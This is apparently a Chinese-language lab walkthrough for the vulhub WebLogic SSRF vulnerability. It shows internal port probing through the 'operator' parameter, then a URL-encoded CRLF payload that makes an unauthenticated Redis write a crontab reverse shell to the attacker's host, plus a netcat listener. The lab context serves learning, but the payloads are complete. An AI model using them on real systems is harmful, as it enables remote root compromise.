Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis组件。
使用docker-compose命令搭建vulhub中的weblogic-ssrf
漏洞环境
靶机IP:192.168.176.131
kali虚拟机IP:192.168.176.132
redis环境IP:172.18.0.2
weblogic环境IP:172.18.0.1
漏洞环境搭建完成后,在浏览器访问http://192.168.176.131:7001/uddiexplorer/,漏洞点在“Search Public Registries”模块。
访问Search Public Registrie模块,点击search按钮,然后用burpsuite拦截,漏洞点在operator参数。
operator参数存在以下几种情况,可用于网络端口探测:
端口可访问时(http://127.0.0.1:7001):返回404报错
端口未开放(http://127.0.0.1:999):报错
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server
非http请求的开放端口返回did not have a valid SOAP content-type: null.报错
利用报错信息的不同可以探测出内网的ip和可访问的端口
可探测到172.18.0.2的6379端口开放,6379对应的是redis服务。
redis服务有如下特点
- 未授权访问,访问redis数据库时无需输入用户名、密码
- 具有root权限
- 可读写文件。
因此,利用redis数据库的上述特点,可利用以下命令向crontab文件中写入反弹shell的定时命令。(crontab文件为计划文件在etc目录下)
set 1 "\n\n\n\n * * * * * root bash -i >& /dev/tcp/192.168.176.132/555 0>&1\n\n\n\n"
config set dir /etc/ //此命令用于设置文件夹
config set dbfilename crontab //此命令用于设置文件
save
然后将上述命令用url编码,前后加入test%0D%0A
test%0D%0A%0D%0Aset%20xx%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.176.132%2F555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Atest
注意:url不要编码关键字,不要用burp的decoder采用全部编码,否则不会生效!
然后在kali中输入以下命令,监听555端口
nc -lvp 555
将上述url编码复制到operator参数,用burp发送请求
在靶机输入依次如下命令访问redis环境
docker ps
docker exec -it +redis ID /bin/bash
访问/etc目录,查看crontab文件,定时命令已在里面。
查看kali,等一会儿可以看到shell。(备注:shell出来可能有点慢,需要等一会儿)